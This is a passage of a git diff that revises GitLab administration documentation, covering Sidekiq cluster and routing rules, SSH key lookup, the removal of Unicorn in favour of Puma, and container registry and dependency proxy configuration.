-`sidekiq_cluster` will be overridden by the options for `sidekiq` when
+`sidekiq_cluster` is overridden by the options for `sidekiq` when
setting `sidekiq['cluster'] = true`.
-When using this feature, the service called `sidekiq` will now be
+When using this feature, the service called `sidekiq` is now
running `sidekiq-cluster`.
The [concurrency](#manage-concurrency) and other options configured
-for Sidekiq will be respected.
+for Sidekiq are respected.
By default, logs for `sidekiq-cluster` go to `/var/log/gitlab/sidekiq`
like regular Sidekiq logs.
@@ -293,7 +220,7 @@ use all of its resources to perform those operations. To set up a separate
Each process defined under `sidekiq` starts with a
number of threads that equals the number of queues, plus one spare thread.
For example, a process that handles the `process_commit` and `post_receive`
-queues will use three threads in total.
+queues uses three threads in total.
## Manage concurrency
@@ -324,16 +251,16 @@ Running Sidekiq cluster is the default in GitLab 13.0 and later.
```
`min_concurrency` and `max_concurrency` are independent; one can be set without
-the other. Setting `min_concurrency` to `0` will disable the limit.
+the other. Setting `min_concurrency` to `0` disables the limit.
For each queue group, let `N` be one more than the number of queues. The
-concurrency factor will be set to:
+concurrency factor are set to:
1. `N`, if it's between `min_concurrency` and `max_concurrency`.
1. `max_concurrency`, if `N` exceeds this value.
1. `min_concurrency`, if `N` is less than this value.
-If `min_concurrency` is equal to `max_concurrency`, then this value will be used
+If `min_concurrency` is equal to `max_concurrency`, then this value is used
regardless of the number of queues.
When `min_concurrency` is greater than `max_concurrency`, it is treated as
@@ -360,7 +287,7 @@ Running Sidekiq directly is scheduled to be removed in GitLab
sudo gitlab-ctl reconfigure
```
-This will set the concurrency (number of threads) for the Sidekiq process.
+This sets the concurrency (number of threads) for the Sidekiq process.
## Modify the check interval
@@ -426,21 +353,21 @@ you'd use the following:
### Monitor the `sidekiq-cluster` command
-The `sidekiq-cluster` command will not terminate once it has started the desired
-amount of Sidekiq processes. Instead, the process will continue running and
+The `sidekiq-cluster` command does not terminate once it has started the desired
+amount of Sidekiq processes. Instead, the process continues running and
forward any signals to the child processes. This makes it easy to stop all
Sidekiq processes as you simply send a signal to the `sidekiq-cluster` process,
instead of having to send it to the individual processes.
If the `sidekiq-cluster` process crashes or receives a `SIGKILL`, the child
-processes will terminate themselves after a few seconds. This ensures you don't
+processes terminate themselves after a few seconds. This ensures you don't
end up with zombie Sidekiq processes.
All of this makes monitoring the processes fairly easy. Simply hook up
`sidekiq-cluster` to your supervisor of choice (for example, runit) and you're good to
go.
-If a child process died the `sidekiq-cluster` command will signal all remaining
+If a child process died the `sidekiq-cluster` command signals all remaining
process to terminate, then terminate itself. This removes the need for
`sidekiq-cluster` to re-implement complex process monitoring/restarting code.
Instead you should make sure your supervisor restarts the `sidekiq-cluster`
@@ -456,7 +383,7 @@ file is written, but this can be changed by passing the `--pidfile` option to
/opt/gitlab/embedded/service/gitlab-rails/bin/sidekiq-cluster --pidfile /var/run/gitlab/sidekiq_cluster.pid process_commit
```
-Keep in mind that the PID file will contain the PID of the `sidekiq-cluster`
+Keep in mind that the PID file contains the PID of the `sidekiq-cluster`
command and not the PID(s) of the started Sidekiq processes.
### Environment
diff --git a/doc/administration/operations/extra_sidekiq_routing.md b/doc/administration/operations/extra_sidekiq_routing.md
new file mode 100644
index 00000000000..93cf8bd4f43
--- /dev/null
+++ b/doc/administration/operations/extra_sidekiq_routing.md
@@ -0,0 +1,164 @@
+---
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Queue routing rules **(FREE SELF)**
+
+When the number of Sidekiq jobs increases to a certain scale, the system faces
+some scalability issues. One of them is that the length of the queue tends to get
+longer. High-urgency jobs have to wait longer until other less urgent jobs
+finish. This head-of-line blocking situation may eventually affect the
+responsiveness of the system, especially critical actions. In another scenario,
+the performance of some jobs is degraded due to other long running or CPU-intensive jobs
+(computing or rendering ones) in the same machine.
+
+To counter the aforementioned issues, one effective solution is to split
+Sidekiq jobs into different queues and assign machines handling each queue
+exclusively. For example, all CPU-intensive jobs could be routed to the
+`cpu-bound` queue and handled by a fleet of CPU optimized instances. The queue
+topology differs between companies depending on the workloads and usage
+patterns. Therefore, GitLab supports a flexible mechanism for the
+administrator to route the jobs based on their characteristics.
+
+As an alternative to [Queue selector](extra_sidekiq_processes.md#queue-selector), which
+configures Sidekiq cluster to listen to a specific set of workers or queues,
+GitLab also supports routing a job from a worker to the desired queue when it
+is scheduled. Sidekiq clients try to match a job against a configured list of
+routing rules. Rules are evaluated from first to last, and as soon as we find a
+match for a given worker we stop processing for that worker (first match wins).
+If the worker doesn't match any rule, it falls back to the queue name generated
+from the worker name.
+
+By default, if the routing rules are not configured (or denoted with an empty
+array), all the jobs are routed to the queue generated from the worker name.
+
+## Example configuration
+
+In `/etc/gitlab/gitlab.rb`:
+
+```ruby
+sidekiq['routing_rules'] = [
+ # Route all non-CPU-bound workers that are high urgency to `high-urgency` queue
+ ['resource_boundary!=cpu&urgency=high', 'high-urgency'],
+ # Route all database, gitaly and global search workers that are throttled to `throttled` queue
+ ['feature_category=database,gitaly,global_search&urgency=throttled', 'throttled'],
+ # Route all workers having contact with outside work to a `network-intenstive` queue
+ ['has_external_dependencies=true|feature_category=hooks|tags=network', 'network-intensive'],
+ # Route all import workers to the queues generated by the worker name, for
+ # example, JiraImportWorker to `jira_import`, SVNWorker to `svn_worker`
+ ['feature_category=import', nil],
+ # Wildcard matching, route the rest to `default` queue
+ ['*', 'default']
+]
+```
+
+The routing rules list is an order-matter array of tuples of query and
+corresponding queue:
+
+- The query is following a [worker matching query](#worker-matching-query) syntax.
+- The `<queue_name>` must be a valid Sidekiq queue name. If the queue name
+ is `nil`, or an empty string, the worker is routed to the queue generated
+ by the name of the worker instead.
+
+The query supports wildcard matching `*`, which matches all workers. As a
+result, the wildcard query must stay at the end of the list or the rules after it
+are ignored.
+
+NOTE:
+Mixing queue routing rules and queue selectors requires care to
+ensure all jobs that are scheduled and picked up by appropriate Sidekiq
+workers.
+
+## Worker matching query
+
+GitLab provides a simple query syntax to match a worker based on its
+attributes. This query syntax is employed by both [Queue routing
+rules](#queue-routing-rules) and [Queue
+selector](extra_sidekiq_processes.md#queue-selector). A query includes two
+components:
+
+- Attributes that can be selected.
+- Operators used to construct a query.
+
+### Available attributes
+
+> [Introduced](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/261) in GitLab 13.1 (`tags`).
+
+Queue matching query works upon the worker attributes, described in [Sidekiq
+style guide](../../development/sidekiq_style_guide.md). We support querying
+based on a subset of worker attributes:
+
+- `feature_category` - the [GitLab feature
+ category](https://about.gitlab.com/direction/maturity/#category-maturity) the
+ queue belongs to. For example, the `merge` queue belongs to the
+ `source_code_management` category.
+- `has_external_dependencies` - whether or not the queue connects to external
+ services. For example, all importers have this set to `true`.
+- `urgency` - how important it is that this queue's jobs run
+ quickly. Can be `high`, `low`, or `throttled`. For example, the
+ `authorized_projects` queue is used to refresh user permissions, and
+ is high urgency.
+- `worker_name` - the worker name. The other attributes are typically more useful as
+ they are more general, but this is available in case a particular worker needs
+ to be selected.
+- `name` - the queue name. The other attributes are typically more useful as
+ they are more general, but this is available in case a particular queue needs
+ to be selected.
+- `resource_boundary` - if the queue is bound by `cpu`, `memory`, or
+ `unknown`. For example, the `ProjectExportWorker` is memory bound as it has
+ to load data in memory before saving it for export.
+- `tags` - short-lived annotations for queues. These are expected to frequently
+ change from release to release, and may be removed entirely.
+
+`has_external_dependencies` is a boolean attribute: only the exact
+string `true` is considered true, and everything else is considered
+false.
+
+`tags` is a set, which means that `=` checks for intersecting sets, and
+`!=` checks for disjoint sets. For example, `tags=a,b` selects queues
+that have tags `a`, `b`, or both. `tags!=a,b` selects queues that have
+neither of those tags.
+
+The attributes of each worker are hard-coded in the source code. For
+convenience, we generate a [list of all available attributes in
+GitLab Community Edition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/workers/all_queues.yml)
+and a [list of all available attributes in
+GitLab Enterprise Edition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/workers/all_queues.yml).
+
+### Available operators
+
+`queue_selector` supports the following operators, listed from highest
+to lowest precedence:
+
+- `|` - the logical OR operator. For example, `query_a|query_b` (where `query_a`
+ and `query_b` are queries made up of the other operators here) will include
+ queues that match either query.
+- `&` - the logical AND operator. For example, `query_a&query_b` (where
+ `query_a` and `query_b` are queries made up of the other operators here) will
+ only include queues that match both queries.
+- `!=` - the NOT IN operator. For example, `feature_category!=issue_tracking`
+ excludes all queues from the `issue_tracking` feature category.
+- `=` - the IN operator. For example, `resource_boundary=cpu` includes all
+ queues that are CPU bound.
+- `,` - the concatenate set operator. For example,
+ `feature_category=continuous_integration,pages` includes all queues from
+ either the `continuous_integration` category or the `pages` category. This
+ example is also possible using the OR operator, but allows greater brevity, as
+ well as being lower precedence.
+
+The operator precedence for this syntax is fixed: it's not possible to make AND
+have higher precedence than OR.
+
+[In GitLab 12.9](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26594) and
+later, as with the standard queue group syntax above, a single `*` as the
+entire queue group selects all queues.
+
+### Migration
+
+After the Sidekiq routing rules are changed, administrators need to take care
+with the migration to avoid losing jobs entirely, especially in a system with
+long queues of jobs. The migration can be done by following the migration steps
+mentioned in [Sidekiq job
+migration](../../raketasks/sidekiq_job_migration.md)
diff --git a/doc/administration/operations/fast_ssh_key_lookup.md b/doc/administration/operations/fast_ssh_key_lookup.md
index 980db9713ee..8acc40da4ab 100644
--- a/doc/administration/operations/fast_ssh_key_lookup.md
+++ b/doc/administration/operations/fast_ssh_key_lookup.md
@@ -4,7 +4,7 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Fast lookup of authorized SSH keys in the database
+# Fast lookup of authorized SSH keys in the database **(FREE SELF)**
NOTE:
This document describes a drop-in replacement for the
@@ -34,8 +34,15 @@ feature for CentOS 6, follow [the instructions on how to build and install a cus
## Fast lookup is required for Geo **(PREMIUM)**
-By default, GitLab manages an `authorized_keys` file, which contains all the
-public SSH keys for users allowed to access GitLab. However, to maintain a
+By default, GitLab manages an `authorized_keys` file that is located in the
+`git` user's home directory. For most installations, this will be located under
+`/var/opt/gitlab/.ssh/authorized_keys`, but you can use the following command to locate the `authorized_keys` on your system.:
+
+```shell
+getent passwd git | cut -d: -f6 | awk '{print $1"/.ssh/authorized_keys"}'
+```
+
+The `authorized_keys` file contains all the public SSH keys for users allowed to access GitLab. However, to maintain a
single source of truth, [Geo](../geo/index.md) needs to be configured to perform SSH fingerprint
lookups via database lookup.
@@ -73,7 +80,7 @@ sudo service sshd reload
```
Confirm that SSH is working by commenting out your user's key in the `authorized_keys`
-(start the line with a `#` to comment it), and attempting to pull a repository.
+file (start the line with a `#` to comment it), and attempting to pull a repository.
A successful pull would mean that GitLab was able to find the key in the database,
since it is not present in the file anymore.
@@ -219,5 +226,5 @@ the database. The following instructions can be used to build OpenSSH 7.5:
GitLab supports `authorized_keys` database lookups with [SELinux](https://en.wikipedia.org/wiki/Security-Enhanced_Linux).
Because the SELinux policy is static, GitLab doesn't support the ability to change
-internal Unicorn ports at the moment. Administrators would have to create a special `.te`
+internal webserver ports at the moment. Administrators would have to create a special `.te`
file for the environment, since it isn't generated dynamically.
diff --git a/doc/administration/operations/filesystem_benchmarking.md b/doc/administration/operations/filesystem_benchmarking.md
index ffce104e1ad..a0ad2e24a4c 100644
--- a/doc/administration/operations/filesystem_benchmarking.md
+++ b/doc/administration/operations/filesystem_benchmarking.md
@@ -4,7 +4,7 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# File system Performance Benchmarking
+# File system performance benchmarking **(FREE SELF)**
File system performance has a big impact on overall GitLab performance,
especially for actions that read or write to Git repositories. This information
diff --git a/doc/administration/operations/index.md b/doc/administration/operations/index.md
index 708861d8529..4b16c3b3a7e 100644
--- a/doc/administration/operations/index.md
+++ b/doc/administration/operations/index.md
@@ -4,7 +4,7 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Performing Operations in GitLab
+# Performing operations in GitLab **(FREE SELF)**
Keep your GitLab instance up and running smoothly.
@@ -21,8 +21,8 @@ Keep your GitLab instance up and running smoothly.
- [Sidekiq MemoryKiller](sidekiq_memory_killer.md): Configure Sidekiq MemoryKiller
to restart Sidekiq.
- [Multiple Sidekiq processes](extra_sidekiq_processes.md): Configure multiple Sidekiq processes to ensure certain queues always have dedicated workers, no matter the number of jobs that need to be processed. **(FREE SELF)**
+- [Sidekiq routing rules](extra_sidekiq_routing.md): Configure the routing rules to route a job from a worker to a desirable queue. **(FREE SELF)**
- [Puma](puma.md): Understand Puma and puma-worker-killer.
-- [Unicorn](unicorn.md): Understand Unicorn and unicorn-worker-killer.
- Speed up SSH operations by [Authorizing SSH users via a fast,
indexed lookup to the GitLab database](fast_ssh_key_lookup.md), and/or
by [doing away with user SSH keys stored on GitLab entirely in favor
diff --git a/doc/administration/operations/puma.md b/doc/administration/operations/puma.md
index 3b676010bfe..fffff78b9d6 100644
--- a/doc/administration/operations/puma.md
+++ b/doc/administration/operations/puma.md
@@ -4,11 +4,10 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Switching to Puma
+# Switching to Puma **(FREE SELF)**
As of GitLab 12.9, [Puma](https://github.com/puma/puma) has replaced [Unicorn](https://yhbt.net/unicorn/)
-as the default web server. From GitLab 13.0, the following run Puma instead of Unicorn unless
-explicitly configured not to:
+as the default web server. From GitLab 14.0, the following run Puma:
- All-in-one package-based installations.
- Helm chart-based installations.
@@ -25,7 +24,7 @@ Multi-threaded Puma can therefore still serve more requests than a single proces
## Configuring Puma to replace Unicorn
-Beginning with GitLab 13.0, Puma is the default application server. We plan to remove support for
+Beginning with GitLab 13.0, Puma is the default application server. We removed support for
Unicorn in GitLab 14.0.
When switching to Puma, Unicorn server configuration
diff --git a/doc/administration/operations/sidekiq_memory_killer.md b/doc/administration/operations/sidekiq_memory_killer.md
index c7f00d05213..d3019e2c580 100644
--- a/doc/administration/operations/sidekiq_memory_killer.md
+++ b/doc/administration/operations/sidekiq_memory_killer.md
@@ -19,7 +19,7 @@ _only_ for Omnibus packages. The reason for this is that the MemoryKiller
relies on runit to restart Sidekiq after a memory-induced shutdown and GitLab
installations from source do not all use runit or an equivalent.
-With the default settings, the MemoryKiller will cause a Sidekiq restart no
+With the default settings, the MemoryKiller causes a Sidekiq restart no
more often than once every 15 minutes, with the restart causing about one
minute of delay for incoming background jobs.
@@ -48,13 +48,13 @@ The MemoryKiller is controlled using environment variables.
`SIDEKIQ_MEMORY_KILLER_MAX_RSS` defines the Sidekiq process allowed RSS.
In _legacy_ mode, if the Sidekiq process exceeds the allowed RSS then an irreversible
- delayed graceful restart will be triggered. The restart of Sidekiq will happen
+ delayed graceful restart is triggered. The restart of Sidekiq happens
after `SIDEKIQ_MEMORY_KILLER_GRACE_TIME` seconds.
In _daemon_ mode, if the Sidekiq process exceeds the allowed RSS for longer than
- `SIDEKIQ_MEMORY_KILLER_GRACE_TIME` the graceful restart will be triggered. If the
+ `SIDEKIQ_MEMORY_KILLER_GRACE_TIME` the graceful restart is triggered. If the
Sidekiq process go below the allowed RSS within `SIDEKIQ_MEMORY_KILLER_GRACE_TIME`,
- the restart will be aborted.
+ the restart is aborted.
The default value for Omnibus packages is set
[in the Omnibus GitLab
@@ -71,13 +71,13 @@ The MemoryKiller is controlled using environment variables.
The usage of this variable is described as part of `SIDEKIQ_MEMORY_KILLER_MAX_RSS`.
- `SIDEKIQ_MEMORY_KILLER_SHUTDOWN_WAIT`: defaults to 30 seconds. This defines the
- maximum time allowed for all Sidekiq jobs to finish. No new jobs will be accepted
- during that time, and the process will exit as soon as all jobs finish.
+ maximum time allowed for all Sidekiq jobs to finish. No new jobs are accepted
+ during that time, and the process exits as soon as all jobs finish.
- If jobs do not finish during that time, the MemoryKiller will interrupt all currently
+ If jobs do not finish during that time, the MemoryKiller interrupts all currently
running jobs by sending `SIGTERM` to the Sidekiq process.
If the process hard shutdown/restart is not performed by Sidekiq,
- the Sidekiq process will be forcefully terminated after
+ the Sidekiq process is forcefully terminated after
`Sidekiq.options[:timeout] + 2` seconds. An external supervision mechanism
(e.g. runit) must restart Sidekiq afterwards.
diff --git a/doc/administration/operations/ssh_certificates.md b/doc/administration/operations/ssh_certificates.md
index cc09ad95dce..508d284b0bd 100644
--- a/doc/administration/operations/ssh_certificates.md
+++ b/doc/administration/operations/ssh_certificates.md
@@ -4,7 +4,7 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# User lookup via OpenSSH's AuthorizedPrincipalsCommand
+# User lookup via OpenSSH's AuthorizedPrincipalsCommand **(FREE SELF)**
> [Available in](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/19911) GitLab
> Community Edition 11.2.
diff --git a/doc/administration/operations/unicorn.md b/doc/administration/operations/unicorn.md
index 03995ee05ba..6cee19186f9 100644
--- a/doc/administration/operations/unicorn.md
+++ b/doc/administration/operations/unicorn.md
@@ -1,115 +1,9 @@
---
-stage: Enablement
-group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: 'puma.md'
+remove_date: '2021-08-26'
---
-# Understanding Unicorn and unicorn-worker-killer
+This file was moved to [another location](puma.md).
-NOTE:
-Starting with GitLab 13.0, Puma is the default web server used in GitLab
-all-in-one package based installations as well as GitLab Helm chart deployments.
-
-## Unicorn
-
-GitLab uses [Unicorn](https://yhbt.net/unicorn/), a pre-forking Ruby web
-server, to handle web requests (web browsers and Git HTTP clients). Unicorn is
-a daemon written in Ruby and C that can load and run a Ruby on Rails
-application; in our case the Rails application is GitLab Community Edition or
-GitLab Enterprise Edition.
-
-Unicorn has a multi-process architecture to make better use of available CPU
-cores (processes can run on different cores) and to have stronger fault
-tolerance (most failures stay isolated in only one process and cannot take down
-GitLab entirely). On startup, the Unicorn 'master' process loads a clean Ruby
-environment with the GitLab application code, and then spawns 'workers' which
-inherit this clean initial environment. The 'master' never handles any
-requests, that is left to the workers. The operating system network stack
-queues incoming requests and distributes them among the workers.
-
-In a perfect world, the master would spawn its pool of workers once, and then
-the workers handle incoming web requests one after another until the end of
-time. In reality, worker processes can crash or time out: if the master notices
-that a worker takes too long to handle a request it will terminate the worker
-process with SIGKILL ('kill -9'). No matter how the worker process ended, the
-master process will replace it with a new 'clean' process again. Unicorn is
-designed to be able to replace 'crashed' workers without dropping user
-requests.
-
-This is what a Unicorn worker timeout looks like in `unicorn_stderr.log`. The
-master process has PID 56227 below.
-
-```plaintext
-[2015-06-05T10:58:08.660325 #56227] ERROR -- : worker=10 PID:53009 timeout (61s > 60s), killing
-[2015-06-05T10:58:08.699360 #56227] ERROR -- : reaped #<Process::Status: pid 53009 SIGKILL (signal 9)> worker=10
-[2015-06-05T10:58:08.708141 #62538] INFO -- : worker=10 spawned pid=62538
-[2015-06-05T10:58:08.708824 #62538] INFO -- : worker=10 ready
-```
-
-### Tunable options
-
-The main tunable options for Unicorn are the number of worker processes and the
-request timeout after which the Unicorn master terminates a worker process.
-See the [Omnibus GitLab Unicorn settings
-documentation](https://docs.gitlab.com/omnibus/settings/unicorn.html)
-if you want to adjust these settings.
-
-## unicorn-worker-killer
-
-GitLab has memory leaks. These memory leaks manifest themselves in long-running
-processes, such as Unicorn workers. (The Unicorn master process is not known to
-leak memory, probably because it does not handle user requests.)
-
-To make these memory leaks manageable, GitLab comes with the
-[unicorn-worker-killer gem](https://github.com/kzk/unicorn-worker-killer). This
-gem [monkey-patches](https://en.wikipedia.org/wiki/Monkey_patch) the Unicorn
-workers to do a memory self-check after every 16 requests. If the memory of the
-Unicorn worker exceeds a pre-set limit then the worker process exits. The
-Unicorn master then automatically replaces the worker process.
-
-This is a robust way to handle memory leaks: Unicorn is designed to handle
-workers that 'crash' so no user requests will be dropped. The
-unicorn-worker-killer gem is designed to only terminate a worker process _in
-between requests_, so no user requests are affected. You can set the minimum and
-maximum memory threshold (in bytes) for the Unicorn worker killer by
-setting the following values `/etc/gitlab/gitlab.rb`:
-
-- For GitLab **12.7** and newer:
-
- ```ruby
- unicorn['worker_memory_limit_min'] = "1024 * 1 << 20"
- unicorn['worker_memory_limit_max'] = "1280 * 1 << 20"
- ```
-
-- For GitLab **12.6** and older:
-
- ```ruby
- unicorn['worker_memory_limit_min'] = "400 * 1 << 20"
- unicorn['worker_memory_limit_max'] = "650 * 1 << 20"
- ```
-
-Otherwise, you can set the `GITLAB_UNICORN_MEMORY_MIN` and `GITLAB_UNICORN_MEMORY_MAX`
-[environment variables](../environment_variables.md).
-
-This is what a Unicorn worker memory restart looks like in unicorn_stderr.log.
-You see that worker 4 (PID 125918) is inspecting itself and decides to exit.
-The threshold memory value was 254802235 bytes, about 250MB. With GitLab this
-threshold is a random value between 200 and 250 MB. The master process (PID
-117565) then reaps the worker process and spawns a new 'worker 4' with PID
-127549.
-
-```plaintext
-[2015-06-05T12:07:41.828374 #125918] WARN -- : #<Unicorn::HttpServer:0x00000002734770>: worker (pid: 125918) exceeds memory limit (256413696 bytes > 254802235 bytes)
-[2015-06-05T12:07:41.828472 #125918] WARN -- : Unicorn::WorkerKiller send SIGQUIT (pid: 125918) alive: 23 sec (trial 1)
-[2015-06-05T12:07:42.025916 #117565] INFO -- : reaped #<Process::Status: pid 125918 exit 0> worker=4
-[2015-06-05T12:07:42.034527 #127549] INFO -- : worker=4 spawned pid=127549
-[2015-06-05T12:07:42.035217 #127549] INFO -- : worker=4 ready
-```
-
-One other thing that stands out in the log snippet above, taken from
-GitLab.com, is that 'worker 4' was serving requests for only 23 seconds. This
-is a normal value for our current GitLab.com setup and traffic.
-
-The high frequency of Unicorn memory restarts on some GitLab sites can be a
-source of confusion for administrators. Usually they are a [red
-herring](https://en.wikipedia.org/wiki/Red_herring).
+<!-- This redirect file can be deleted after <2021-08-26>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/packages/container_registry.md b/doc/administration/packages/container_registry.md
index 14e54513536..a6829b90f18 100644
--- a/doc/administration/packages/container_registry.md
+++ b/doc/administration/packages/container_registry.md
@@ -44,7 +44,7 @@ If you have installed GitLab from source:
1. After the installation is complete, to enable it, you must configure the Registry's
settings in `gitlab.yml`.
1. Use the sample NGINX configuration file from under
- [`lib/support/nginx/registry-ssl`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/support/nginx/registry-ssl) and edit it to match the
+ [`lib/support/nginx/registry-ssl`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/support/nginx/registry-ssl) and edit it to match the
`host`, `port`, and TLS certificate paths.
The contents of `gitlab.yml` are:
@@ -417,8 +417,27 @@ To configure the `s3` storage driver in Omnibus:
}
```
- - `regionendpoint` is only required when configuring an S3 compatible service such as MinIO. It takes a URL such as `http://127.0.0.1:9000`.
+ If using with an [AWS S3 VPC endpoint](https://docs.aws.amazon.com/vpc/latest/privatelink/vpc-endpoints-s3.html),
+ then set `regionendpoint` to your VPC endpoint address and set `path_style` to false:
+
+ ```ruby
+ registry['storage'] = {
+ 's3' => {
+ 'accesskey' => 's3-access-key',
+ 'secretkey' => 's3-secret-key-for-access-key',
+ 'bucket' => 'your-s3-bucket',
+ 'region' => 'your-s3-region',
+ 'regionendpoint' => 'your-s3-vpc-endpoint',
+ 'path_style' => false
+ }
+ }
+ ```
+
+ - `regionendpoint` is only required when configuring an S3 compatible service such as MinIO, or
+ when using an AWS S3 VPC Endpoint.
- `your-s3-bucket` should be the name of a bucket that exists, and can't include subdirectories.
+ - `path_style` should be set to true to use `host/bucket_name/object` style paths instead of
+ `bucket_name.host/object`. [Set to false for AWS S3](https://aws.amazon.com/blogs/aws/amazon-s3-path-deprecation-plan-the-rest-of-the-story/).
1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
@@ -1274,6 +1293,88 @@ curl "localhost:5001/debug/health"
curl "localhost:5001/debug/vars"
```
+### Access old schema v1 Docker images
+
+Support for the [Docker registry v1 API](https://www.docker.com/blog/registry-v1-api-deprecation/),
+including [schema V1 image manifests](https://docs.docker.com/registry/spec/manifest-v2-1/),
+was:
+
+- [Deprecated in GitLab 13.7](https://about.gitlab.com/releases/2020/12/22/gitlab-13-7-released/#deprecate-pulls-that-use-v1-of-the-docker-registry-api)
+- [Removed in GitLab 13.9](https://about.gitlab.com/releases/2021/02/22/gitlab-13-9-released/#deprecate-pulls-that-use-v1-of-the-docker-registry-api)
+
+It's no longer possible to push or pull v1 images from the GitLab Container Registry.
+
+If you had v1 images in the GitLab Container Registry, but you did not upgrade them (following the
+[steps Docker recommends](https://docs.docker.com/registry/spec/deprecated-schema-v1/))
+ahead of the GitLab 13.9 upgrade, these images are no longer accessible. If you try to pull them,
+this error appears:
+
+- `Error response from daemon: manifest invalid: Schema 1 manifest not supported`
+
+For Self-Managed GitLab instances, you can regain access to these images by temporarily downgrading
+the GitLab Container Registry to a version lower than `v3.0.0-gitlab`. Follow these steps to regain
+access to these images:
+
+1. Downgrade the Container Registry to [`v2.13.1-gitlab`](https://gitlab.com/gitlab-org/container-registry/-/releases/v2.13.1-gitlab).
+1. Upgrade any v1 images.
+1. Revert the Container Registry downgrade.
+
+There's no need to put the registry in read-only mode during the image upgrade process. Ensure that
+you are not relying on any new feature introduced since `v3.0.0-gitlab`. Such features are
+unavailable during the upgrade process. See the [complete registry changelog](https://gitlab.com/gitlab-org/container-registry/-/blob/master/CHANGELOG.md)
+for more information.
+
+The following sections provide additional details about each installation method.
+
+#### Helm chart installations
+
+For Helm chart installations:
+
+1. Override the [`image.tag`](https://docs.gitlab.com/charts/charts/registry/#configuration)
+ configuration parameter with `v2.13.1-gitlab`.
+1. Restart.
+1. Performing the [images upgrade](#images-upgrade)) steps.
+1. Revert the `image.tag` parameter to the previous value.
+
+No other registry configuration changes are required.
+
+#### Omnibus installations
+
+For Omnibus installations:
+
+1. Temporarily replace the registry binary that ships with GitLab 13.9+ for one prior to
+ `v3.0.0-gitlab`. To do so, pull a previous version of the Docker image for the GitLab Container
+ Registry, such as `v2.13.1-gitlab`. You can then grab the `registry` binary from within this
+ image, located at `/bin/registry`:
+
+ ```shell
+ id=$(docker create registry.gitlab.com/gitlab-org/build/cng/gitlab-container-registry:v2.13.1-gitlab)
+ docker cp $id:/bin/registry registry-2.13.1-gitlab
+ docker rm $id
+ ```
+
+1. Replace the binary embedded in the Omnibus install, located at
+ `/opt/gitlab/embedded/bin/registry`, with `registry-2.13.1-gitlab`. Make sure to start by backing
+ up the original binary embedded in Omnibus, and restore it after performing the
+ [image upgrade](#images-upgrade)) steps. You should [stop](https://docs.gitlab.com/omnibus/maintenance/#starting-and-stopping)
+ the registry service before replacing its binary and start it right after. No registry
+ configuration changes are required.
+
+#### Source installations
+
+For source installations, locate your `registry` binary and temporarily replace it with the one
+obtained from `v3.0.0-gitlab`, as explained for [Omnibus installations](#omnibus-installations).
+Make sure to start by backing up the original registry binary, and restore it after performing the
+[images upgrade](#images-upgrade))
+steps.
+
+#### Images upgrade
+
+Follow the [steps that Docker recommends to upgrade v1 images](https://docs.docker.com/registry/spec/deprecated-schema-v1/).
+The most straightforward option is to pull those images and push them once again to the registry,
+using a Docker client version above v1.12. Docker converts images automatically before pushing them
+to the registry. Once done, all your v1 images should now be available as v2 images.
+
### Advanced Troubleshooting
We use a concrete example to illustrate how to
diff --git a/doc/administration/packages/dependency_proxy.md b/doc/administration/packages/dependency_proxy.md
index b454728cc8b..c4906ef6d8e 100644
--- a/doc/administration/packages/dependency_proxy.md
+++ b/doc/administration/packages/dependency_proxy.md
@@ -32,6 +32,23 @@ To enable the dependency proxy feature:
1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure "How to reconfigure Omnibus GitLab") for the changes to take effect.
1. Enable the [Puma web server](https://docs.gitlab.com/omnibus/settings/puma.html).
+**Helm chart installations**
+
+1. After the installation is complete, update the global `appConfig` to enable the feature:
+
+ ```yaml
+ global:
+ appConfig:
+ dependencyProxy:
+ enabled: true
+ bucket: gitlab-dependency-proxy
+ connection: {}
+ secret:
+ key:
+ ```
+
+For more information, see [Configure Charts using Globals](https://docs.gitlab.com/charts/charts/globals.html#configure-appconfig-settings).
+
**Installations from source**
1. After the installation is complete, configure the `dependency_proxy`
diff --git a/doc/administration/pages/index.md b/doc/administration/pages/index.md
index c93ae90deb6..b9637f1b6f5 100644
--- a/doc/administration/pages/index.md
+++ b/doc/administration/pages/index.md
@@ -246,7 +246,7 @@ control over how the Pages daemon runs and serves content in your environment.
| `gitlab_retrieval_timeout` | The maximum time to wait for a response from the GitLab API per request (default: 30s). |
| `gitlab_retrieval_interval` | The interval to wait before retrying to resolve a domain's configuration via the GitLab API (default: 1s). |
| `gitlab_retrieval_retries` | The maximum number of times to retry to resolve a domain's configuration via the API (default: 3). |
-| `domain_config_source` | Domain configuration source (default: `auto`) |
+| `domain_config_source` | This parameter was removed in 14.0, on earlier versions it can be used to enable and test API domain configuration source |
| `gitlab_id` | The OAuth application public ID. Leave blank to automatically fill when Pages authenticates with GitLab. |
| `gitlab_secret` | The OAuth application secret. Leave blank to automatically fill when Pages authenticates with GitLab. |
